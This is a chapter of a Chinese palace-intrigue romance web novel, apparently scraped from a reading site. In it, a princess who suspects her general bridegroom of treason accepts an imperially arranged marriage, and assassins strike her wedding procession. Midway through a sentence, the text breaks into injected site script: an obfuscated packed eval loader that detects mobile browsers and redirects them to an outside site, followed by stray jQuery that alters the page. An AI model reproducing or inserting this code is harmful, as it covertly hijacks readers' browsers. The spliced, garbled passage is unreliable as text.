默认冷灰
24号文字
方正启体

2. 赐婚·红妆藏锋

作者:盐焗米粥本书字数:K更新时间:
    “皇上驾到——”内侍尖亮的声音响起,穿过殿门,抑住所有声响。


    文武众臣,宗室女眷,霎时间齐齐噤声,垂首敛眉,躬身行礼,引得烛火晃动不安。


    “吾皇万岁万岁万万岁——”


    皇帝缓缓步入上位之座,明黄衮龙袍上金织龙纹在烛光的映衬下栩栩如生,几欲腾空而出,“平身。”


    “谢皇上。”


    待众人起身,皇帝从容落座,扫过阶下众人,“诸位不必拘礼,今日宴席,一为庆北境大捷,二则犒劳镇国将军萧冽劳苦功高。”


    众臣一同举杯,齐声附和,“劳苦功高。”


    萧冽上前躬身行礼,一身玄色银甲染着未干的沙场气,立于丹陛之下,身姿如出鞘长剑,凛然不犯。


    “微臣愧不敢当,征战沙场,收复国疆,乃微臣分内之事。”


    殿内喧沸,觥筹交错间,赵初禾坐于席间,透过宫女的身影望到了殿前之人,玄色银甲衬得他周遭的气场非凡,不容进犯,是她日思夜想的少年。


    赵初禾只觉眼眶发酸,一时间竟盈满了泪,耳边的礼乐颂声皆化作无形,好似被隔绝了一般。


    一道稚嫩的,带着孩子气的声音响起,“我叫萧冽,乃镇远侯府之人,日后是要为了大雍征战沙场的。”


    那是他们第一次见面,萧冽随叔父进宫面圣,一时贪玩竟走到了御花园里。见到她不仅不行礼,还仰着小脸蛋,眼神含光地说着什么上战场。


    赵初禾拿着纸鸢,看着比自己高出一截的少年,不仅不恼,好像还被他说的话搅得心里痒痒的。


    一别数载,他说着同幼时一般无二的话,只是他的身影难以和她记忆中的影子重合。


    他褪去了青涩,身姿挺拔如松,肩宽背阔,腰线劲窄。


    这个角度她只能看到他锋利的下颌线和直挺的鼻梁,薄唇轻抿,哪里还有半分熟悉的模样,倒是和梦中率兵冲到院子里的那人一般无二。


    赵初禾收回目光,无暇顾及其他,思绪早已落入了那个无端的梦,她是如何,又是何时请旨赐婚的,无从得知。


    若是平日,别说是一道婚书,就是天上的星星,她也敢当着文武群臣的面,向她父皇讨来。


    可如今她倍感不安,不是为别的,是为了自己,也是为了父皇。


    倘若梦境之事是对未来的预兆,萧冽娶她是假,肖想江山易主才是真。那这门婚事躲与不躲,于她和父皇而言,皆是死局。


    事关父皇,容不得大意,她在父皇的羽翼下长大,而今,是时候为父皇尽一份力了。


    不如主动求了这门婚事,与其等他来取她性命,倒不如先下手为强,先一步寻到他谋逆的证据。


    如此,才是破局之道。


    赵初禾已然想好了说辞,正在她欲张口之际,“将军骁勇,战功赫赫,但家事迟迟没有着落,倒是朕的过错,可有意中人。”


    突然被点名的萧冽显然没什么错愕,单膝跪地,面色沉静,一副置身之外的模样。


    阴影下的眼神骗不了人,他忍不住地瞧她,陛下赐婚,不难想到他的妻是谁。


    他自然愿意,不,不是愿意,是欢喜,欣喜若狂。可她的公主,她也是愿意的吗?


    “臣惶恐,臣一心报国,恐难顾小家,不敢负了佳人。”


    “萧将军果然志在天下,有此良将,朕心安矣,百姓心安矣。”皇帝拍案称赞道。


    不知是谁在一旁恭维,“得此良将,乃大雍之福。”


    赵初禾是强忍着一股力气,才没将白眼翻出来的,萧将军好不风光,她一不慎,往他那边瞧了过去。


    谁成想,再度跌入了他漩涡般的黑眸,这下她不敢乱瞟,只敢静静地看着酒杯里的倒影。


    他的意中人,从来都只有一个。


    殿内的称颂声还未散去,陛下忽而抬手,笑意里多了几分不容置喙的笃定,“萧将军忠勇可嘉,朕心甚慰。只是国与家,从来不是二者择一。朕的元昭公主初禾,才貌双全,与将军堪称天作之合。今日,朕便将公主许配于你,待礼部择个吉日,即刻完婚。”


    话音落下,满殿寂静。


    赵初禾面上的神色僵了一瞬,唇瓣微张,手中的玉箸险些掉落。


    不过她瞬间稳住了动作,如此也好,既有了父皇的推波助澜,也免得她亲自上阵,只是为何和梦境中的不甚相同,她明明记得是她求父皇赐婚。


    萧冽单膝跪地的脊背骤然绷紧,声音里第一次染了一丝不易察觉的震颤,那是喜不自胜的模样,赵初禾分明看到了他嘴角下意识的弧度。


    “臣领旨谢恩,迎娶元昭公主,臣三生有幸,多谢陛下,只是不知公主的意思。”试问萧冽驰骋疆场,取敌头颅犹如探囊取物,何曾有这般紧张。


    被点名的公主缓缓走上殿前,盈盈之态惹人怜惜,“父皇,儿臣愿意。”粉红爬上了她的脖颈,如同她一直以来的那般,中意于萧冽。


    接近萧冽,麻痹他的神智,将他的秘密公之于众。想到这,赵初禾笑容愈发娇羞,演得入了戏。


    “将军不必多言。”目光扫过殿中,“初禾与你青梅竹马,忠臣良将,当配佳人,家国两全。”


    萧冽偷瞥着身旁的倩影,瞧着她那不算真切的女儿家羞赧,脑海中忽而闪过她幼时的模样,心口微涩。他看得出她的假意迎合,看得出她对他的全然疏离。


    也许,她已经不是四年前那个会追在他身后喊“萧哥哥”的小姑娘了。


    ———


    永安二十七年,十月廿五。


    宜嫁娶,纳彩,诸事顺遂。


    整个京城都沉浸在一片喜庆的红浪之中,大红的绸缎从宫门口一路铺到镇远侯府,宫灯高挂,鞭炮齐鸣。


    “今儿怎的这么热闹,什么大日子啊?”


    “这你都不知道,今天是公主大婚啊。”


    “谁这么好命做公主的驸马?”


    “还能是谁?镇远侯府萧将军。”


    “公主不是一直喜欢将军吗?那柳家因为这个沾了多少光。”


    “喜欢?柳府如今什么模样你不知道?”


    “什么什么,快跟我说说………”


    京城近二十年来都没有如此盛况,街道两旁,酒楼高阁里挤满了人,争相目睹公主的十里红妆,寻常人家哪里见过这阵仗,怕是借来几双眼睛也看不够。


    元昭公主集万千宠爱于一身,嫁得少年将军,郎才女貌,天作之合,是世间最圆满的姻缘。


    一切都和赵初禾梦到的一样,梦中她此刻有多欢喜,日后便有多么痛彻心扉。


    喜房内,喜娘小心翼翼地为她戴上凤冠,纵使是见过无数出嫁的女娃,也忍不住想感叹,“公主真的生得天仙一般的模样,真是叫人好生欢喜。”


    铜镜中,映出女子身着大红嫁衣,绣着百鸟朝凤的纹样,金线流光,美艳得不可方物。


    眉眼如画,唇点胭脂,本该是满心欢喜的新娘,可眼底却没有半分笑意,只有一片沉静的冰冷,藏在长长的睫毛之下,无人窥见。


    阿鸾站在一旁,眼眶微红,轻声附和着喜娘的话,“公主今日真是美极了,不知贵妃娘娘看到了该有多好。”


    她抬眼,看向镜中的阿鸾,眼神微微示意,勉强扯出了笑意。


    阿鸾即刻会意,待其他人退下之后,压低声音道:“公主放心,暗卫已经安排妥当,皆潜伏在将军府周围,只等您的号令。”


    赵初禾微微颔首,没有说话,这是她近几个月布置的成果。


    母妃为她留下的依仗——温家旧部,传言中的暗卫上天入地,无所不能。


    赵初禾不指望他们如传言那般赛神仙,能够为自己复仇之计出上一份力便好,她要查出萧冽背后的行径,亲自守护如今的一切。


    她将人手安插在镇远侯府的各个角落,后厨、帐房、前厅,她掌握了全部的视野。


    从前太傅说她有谋略之才,她从未放在心上,如今是她第一次做这类事,竟显露出游刃有余,得心应手。


    她在萧冽的眼皮子底下,布下天罗地网。


    喜娘笑着道:“殿下,吉时到了,该上轿了!”


    红盖头被缓缓盖上,眼前一片猩红,赵初禾深吸一口气,伸出手,被喜娘搀扶着,一步步走出寝殿。脚下踩着大红的地毯,耳边是喧嚣的喜乐、好听的吉祥话。


    这一切的一切,美好得如同幻境,而幻境破碎之时,便是地狱降临之日,她缓缓地合上了双眼,强压着眼眶内积蓄的泪。


    凤辇缓缓前行,穿过紫禁城的宫门,走上长安街。街道两旁的欢呼声此起彼伏,赵初禾端坐在凤辇之中,一动不动,指尖紧紧攥着藏在嫁衣中的一枚银簪。


    御帘挡不住外面的喧闹之声,千钧一发之际,一声凄厉的马嘶划破了周遭的一切声响,也惊扰了帘内的一片宁静。


    前头拉辇的两匹骏马好似发了疯一般,两只前蹄不安地朝天上挥舞着,近乎七尺高,拖着轿辇朝人群冲去。


    轿夫不敢舍主逃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393275|200341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    窜,却也被这样的冲击弄乱了阵脚,惹得凤辇里剧烈晃动。


    “保护公主!”


    “抓刺客!”


    本来被侯府侍卫挡得好好的人群中忽而闪出几个蒙着面,穿着常衣的男子,他们的眼里充斥着杀意,竟直直地冲着凤辇里的那人去了!


    赵初禾手中的银簪借着颠簸刺破了她的掌心,倒也让她清醒了几分,她还来不及思考,就早已经稳住了身子,目光扫到一旁的木栓,费力地攥住了。


    如此孤立无援,命悬一线。


    萧冽同她的距离不算远,她下意识地向他呼救,话语却哽在喉间,发不出半点声响。她能信他吗?


    赵初禾抓着木栓的手更紧了几分,甚至已经微微抬起了上半身,大不了就舍了这辇,跳下去。这一刻,她管不了大雍第一公主的体面,她要保住她的命。


    如果今日交代在这里,遑论什么复仇?


    另一只手抓着银簪调整了角度,如果刺客先一步上来,就刺穿他的脖颈。


    正当赵初禾近乎决绝的选择跳辇之时,外头突然恢复了秩序,“押下去,听候发落。”萧冽的声音响起,而那声音离她越来越近。


    萧冽此刻怕极了,几乎忘了自己是在迎娶公主的路上,只觉又回到了那个蚀骨的夜晚——那个他没能护住她的夜晚,掌心竟沁出了薄汗,手中的短刃险些脱手。


    他想看看自己的公主是否安然无恙,手马上碰到了不算厚实的辇帷。


    “本宫无碍,莫要耽误了吉时。”听着她强忍着颤抖的声线,萧冽恨不得现在就砍下刺客的脑袋。


    这是赤裸裸的拒绝。他的初儿,在危难之时没有向他求助,而如今连他的关心也不稀罕了。


    萧冽不合时宜的想起,幼时赵初禾连手指破了个小口都要来找他哭哭啼啼的模样。


    心里不由得发酸。


    “好,都听公主的。”


    ———


    半个时辰后,喜娘高声唱喏:“落轿——!”凤辇停在镇远侯府门前。


    朱红的大门敞开,张灯结彩,喜气洋洋,府内人来人往,络绎不绝,皆是前来道贺的宾客,所有人都忘记了刚才的刺客和受惊的马,只当是个小到不能再小的插曲。


    只有赵初禾胸膛内一直突突直跳,直到此刻才稍微平静了些许。


    喜娘搀扶着新娘子下辇,红盖头之下,赵初禾只能看一双玄色锦袍的靴面。靴面干净整洁,绣着云纹,线条挺拔,透着一股生人勿近的冷意。


    是萧冽。


    他就站在她的面前,咫尺之遥,比他方才在轿前关心她的时候还要近,姑且算是关心吧,毕竟当时在场的不止他们二人,他还要当好他的驸马爷。


    萧冽伸出手,骨节分明,轻轻握住了她。


    他的掌心很暖,带着一种近乎小心翼翼的呵护,仿佛在握着一件价值连城的宝物。


    赵初禾被这样想法吓到了,手微微一颤,下意识地想要抽回,反倒被他轻轻攥住,力道不是很大,却让她无法挣脱。


    “初儿,别怕。”


    他的声音在耳边响起,低沉悦耳,明明是战场上的修罗,此刻他的低语却像山间清泉,温柔得能滴出水来,带着一丝不易察觉的颤抖,还有……心疼?


    赵初禾心头一怔。


    心疼?


    怎么可能。


    他温热的手包裹着她冰凉的指尖,传来阵阵暖意,赵初禾却感到浑身冰冷,如坠冰窟。


    咫尺天涯,不过如此。


    拜堂仪式繁琐而隆重,每一次弯腰,皆感到恍若隔世,就好像,他们曾拜过堂一般。


    她被一路的嬉笑声和祝福声簇拥着进入了洞房。喜娘和侍女们又笑着闹了一阵,说了些吉祥话,便纷纷退下,关上了房门。


    喧嚣瞬间被隔绝在外,偌大的洞房里,只剩下她和阿鸾,她终于忍不住了,撩起盖头,急忙问道,“阿鸾,今日你可瞧见那刺客有什么异常,我总觉着很奇怪。”


    “回公主,今天奴婢的注意力一直在您身上,只有在和其中一人交手的时候感觉有点不大不对劲。”


    “如何,你且说来听听。”


    “奴婢瞧着他与自己的武器不甚熟稔,倘若他使出全力,奴婢绝不是对手……”


    话还没说完,萧冽一路走来,脚步声越来越近,“阿鸾,你先下去。”赵初禾慌乱地盖上了盖头。“去查,仔细地查清刺客的来历。”


    “是。”


    今日之事,是他的手笔吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)